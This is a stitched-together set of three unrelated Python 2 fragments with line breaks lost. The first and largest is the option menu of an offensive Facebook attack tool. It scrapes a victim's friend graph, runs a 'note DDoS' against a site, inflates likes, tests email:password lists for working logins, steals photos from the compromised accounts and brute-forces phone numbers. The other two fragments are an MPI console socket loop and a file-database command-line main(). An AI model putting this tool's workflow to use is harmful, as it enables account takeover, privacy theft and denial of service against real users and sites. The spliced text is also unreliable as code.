signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victim = raw_input('Insert the victim username or userId: ') check = checkPrivacy(victim) if (check == -1): transitive = raw_input( 'Insert the transitive username or userId: ') print 'The information will be stored in %s \n' % os.path.join( "dumps", victim, victim + ".txt") dotFile(victim, transitive) else: print 'Friends publicly available ;D' friendList, friendsName = friendshipPlot(check, victim) simpleDotGraph(friendsName, victim) if (int(option) == 23): signal.signal(signal.SIGINT, signal_handler) print 'Facebook note DDoS attack, discovered by chr13: http://chr13.com/about-me/' if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: raw_input( 'Usage: First you must create an empty note. Once your note is created, write down the note ID number from the URL. ENTER TO CONTINUE...' ) imageURL = raw_input( 'Insert the image URL from the site attack: ') noteID = raw_input('Insert the note ID: ') option = raw_input( "Insert option for privacy 0:Public 1:Friends 2:Only Me : " ) if option in privacySet: noteDDoS(imageURL, noteID, privacy[option]) if (int(option) == 24): signal.signal(signal.SIGINT, signal_handler) try: counter = 0 postId = [] print 'Insert the Post ID\'s (Must be from a page). If no more posts for adding,insert \'0\' :' while True: response = raw_input('post[%d]:' % counter) if (response is not '0'): counter += 1 postId.append(response) else: break quantity = raw_input('Insert the amount of likes: ') like(postId, quantity) except EOFError: print 'EOFError' stdin.flush() pass except signalCaught as e: print ' %s' % e.args[0] raw_input('Press enter to continue..') if (int(option) == 25): page = raw_input('Insert the fan page name or id: ') message = raw_input('Insert the message to send: ') massMessage(page, message) if (int(option) == 26): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victim = raw_input('Insert the victim username or userId: ') if (checkTableExistence(victim) != True): if (createVictimTable(victim) != -1): check = checkPrivacy(victim) if (check == -1): transitive = raw_input( 'Insert the transitive username or userId: ') dotFileDatabase(victim, transitive) plotDOT(victim) else: print 'Friends publicly available ;D' friendList, friendsName = friendshipPlot( check, victim) simpleDotGraphDatabase(friendsName, victim) plotDOT(victim) if (int(option) == 27): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: raw_input( 'Usage: First you must create an empty note. Once your note is created, write down the note ID number from the URL. ENTER TO CONTINUE...' ) noteID = raw_input('Insert the note ID: ') option = raw_input( "Insert option for privacy 0:Public 1:Friends 2:Only Me : " ) if option in privacySet: friendlyLogout(noteID, privacy[option]) if (int(option) == 28): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: threads = raw_input( 'Usage: insert the threads filename and place it in massive folder first: ' ) raw_input('Dumps will be stored in massive\\photos') takePhotos(threads) if (int(option) == 29): mailFile = raw_input( 'Insert the filename that contains the list of emails (place it in PRIVATE folder first): ' ) raw_input( 'Verified emails will be stored in PRIVATE --> existence --> verified.txt ' ) accountexists(mailFile) if (int(option) == 30): mailFile = raw_input( 'Insert the filename that contains the list of emails and passwords (place it in PRIVATE folder first) with email:password pattern: ' ) raw_input( 'Verified loggins will be stored in PRIVATE --> loggedin --> loggedin.txt ' ) checkLogin(mailFile) if (int(option) == 31): raw_input( 'You must first run option 30, if you didn\'t I will fail :D ') raw_input('Dumps will be stored in massive\\photos') steal() if (int(option) == 32): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: raw_input( 'Dumps will be stored in cellphones --> cellphones.txt') first = raw_input('Insert the zone code: ') start = raw_input('Insert the start number: ') end = raw_input('Insert the end number: ') bruteforceCel(first, start, end) if (int(option) == 33): connect.close() print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n ' print ' _ _ _ _______ _ _____ _ _ _ ' print '| | | | | | |__ __| | | __ \| | | | | | ' print '| |__| | __ _ ___| | __ | | | |__ ___ | |__) | | __ _ _ __ ___| |_| | ' print '| __ |/ _` |/ __| |/ / | | | _ \ / _ \ | ___/| |/ _` | _ \ / _ \ __| | ' print '| | | | (_| | (__| < | | | | | | __/ | | | | (_| | | | | __/ |_|_| ' print '|_| |_|\__,_|\___|_|\_\ |_| |_| |_|\___| |_| |_|\__,_|_| |_|\___|\__(_) ' print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n ' exit(0)
elif readySocket == manCliStderrSocket: msg = mpd_recv(manCliStderrSocket, 1024) if not msg: del socketsToSelect[readySocket] # readySocket.close() done += 1 else: # print >>stderr, msg, # print >>stderr, 'MS: %s' % (msg.strip()) stderr.write(msg) stderr.flush() elif readySocket == stdin: try: line = stdin.readline() except IOError: stdin.flush() # probably does nothing else: if line: # not EOF msgToSend = { 'cmd': 'stdin_from_user', 'line': line } # default if gdb and line.startswith('z'): line = line.rstrip() if len(line) < 3: # just a 'z' line += ' 0-%d' % (nprocs - 1) s1 = line[2:].rstrip().split(',') for s in s1: s2 = s.split('-') for i in s2: if not i.isdigit():
def main(): global CPR_EN global CPR_M1 global CPR_M2 try: if len(argv) >= 2: if argv[1] == "help": info() usage() help() elif argv[1] == "new": info() if len(argv) > 2: mprint("Create new header:") mprint("Seperate fields with colons. Example:") mprint("Name:Gender:E-Mail:Phone") newdb_val = raw_input("[Main] Specify new header: ") while True: stdin.flush() in_cpr = raw_input( "[Main] Enable compression? [y/n]: ") if in_cpr == "y" or in_cpr == "n": break else: mprint("Invalid answer. Try again!") new(newdb_val, in_cpr) else: mprint("ERR - NO_FILE_NAME") elif argv[1] == "merge": info() if not argv[2].endswith(EXT) and not argv[2].endswith(EXT + ".gz"): mprint( "File one does not apply to naming scheme! Aborting!") if not argv[3].endswith(EXT) and not argv[3].endswith(EXT + ".gz"): mprint( "File two does not apply to naming scheme! Aborting!") else: if argv[2].endswith(EXT + ".gz"): CPR_M1 = True if argv[3].endswith(EXT + ".gz"): CPR_M2 = True if len(argv) > 3: mergedb(argv[2], argv[3]) else: mprint("ERR - NO_FILE_NAME") exit(21) else: cls() info() if not argv[1].endswith(EXT) and not argv[1].endswith(EXT + ".gz"): mprint( "Entered file does not apply to naming scheme! Aborting!" ) else: if argv[1].endswith(EXT + ".gz"): CPR_EN = True interactive() if exists(argv[1]): chmod(argv[1], S_IREAD | S_IWRITE) mprint("Good bye!") elif len(argv) < 2: info() print "At least one argument required!" print "Try: " + argv[0] + " help (or specifiy a file)!" except: if HDR_FAIL != True: mprint("ERR - UNKNOWN_ERROR")